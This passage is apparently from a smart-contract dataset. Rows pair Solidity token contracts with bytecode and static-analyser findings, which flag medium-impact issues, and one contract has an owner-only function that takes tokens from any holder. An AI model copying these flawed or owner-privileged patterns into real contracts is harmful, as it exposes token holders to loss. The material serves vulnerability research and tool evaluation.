return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
} | 0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063313ce56714610204578063378dc3dc1461022d57806340c10f19146102405780634f25eced1461026257806364ddc6051461027557806370a08231146103045780637d64bcb4146103235780638da5cb5b14610336578063945946251461036557806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b610217610887565b60405160ff909116815260200160405180910390f35b341561023857600080fd5b6101f2610890565b341561024b57600080fd5b610141600160a060020a0360043516602435610896565b341561026d57600080fd5b6101f261098b565b341561028057600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061099195505050505050565b341561030f57600080fd5b6101f2600160a060020a0360043516610aeb565b341561032e57600080fd5b610141610b06565b341561034157600080fd5b610349610b73565b604051600160a060020a03909116815260200160405180910390f35b341561037057600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610b8292505050565b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610aeb565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b60045460ff1690565b60055481565b60015460009033600160a060020a039081169116146108b457600080fd5b60085460ff16156108c457600080fd5b600082116108d157600080fd5b6108dd600654836118eb565b600655600160a060020a03831660009081526009602052604090205461090390836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a039081169116146109af57600080fd5b600083511180156109c1575081518351145b15156109cc57600080fd5b5060005b8251811015610ae6578181815181106109e557fe5b90602001906020020151600b60008584815181106109ff57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610a2d57600080fd5b818181518110610a3957fe5b90602001906020020151600b6000858481518110610a5357fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610a8357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610ac357fe5b9060200190602002015160405190815260200160405180910390a26001016109d0565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610b2457600080fd5b60085460ff1615610b3457600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610b97575060008551115b8015610bbc5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610bdf5750600160a060020a0333166000908152600b602052604090205442115b1515610bea57600080fd5b610bf8846305f5e1006118fa565b9350610c058486516118fa565b600160a060020a03331660009081526009602052604090205490925082901015610c2e57600080fd5b5060005b8451811015610db657848181518110610c4757fe5b90602001906020020151600160a060020a031615801590610c9c5750600a6000868381518110610c7357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ce15750600b6000868381518110610cb357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610cec57600080fd5b610d3060096000878481518110610cff57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610d4057fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610d7057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610c32565b600160a060020a033316600090815260096020526040902054610dd990836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610aeb565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610ae65782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610dd990836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610aeb565b101561167657600080fd5b61168861168233610aeb565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610aeb565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610aeb565b101561194557600080fd5b61195161168233610aeb565b600160a060020a0333166000908152600960205260409020556119766116ad86610aeb565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610aeb565b1015611b6a57600080fd5b611b7c611b7633610aeb565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610aeb565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582067805f0ea6461d236b63706494b7d9382a3ab8964b2742ce25757650d4804b200029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 620 |
0x0f0c3fedb6226cd5a18826ce23bec92d18336a98 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint256 public decimals;
}
contract URToken is StandardToken, DetailedERC20 {
uint256 public constant INITIAL_SUPPLY = 50000000000000000000000000;
constructor () public{
decimals = 18;
symbol = "URCN";
name = "UrToken";
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102ba57806370a082311461031f57806395d89b4114610376578063a9059cbb14610406578063d73dd6231461046b578063dd62ed3e146104d0575b600080fd5b3480156100cb57600080fd5b506100d4610547565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e5565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106d7565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a9b565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aaa565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab0565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d41565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610d89565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e27565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611046565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611242565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561071e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f657600080fd5b610847826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108da826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6a295be96e6406697200000081565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bc1576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c55565b610bd483826112c990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e1f5780601f10610df457610100808354040283529160200191610e1f565b820191906000526020600020905b815481529060010190602001808311610e0257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e6457600080fd5b6000803373ffffffffffff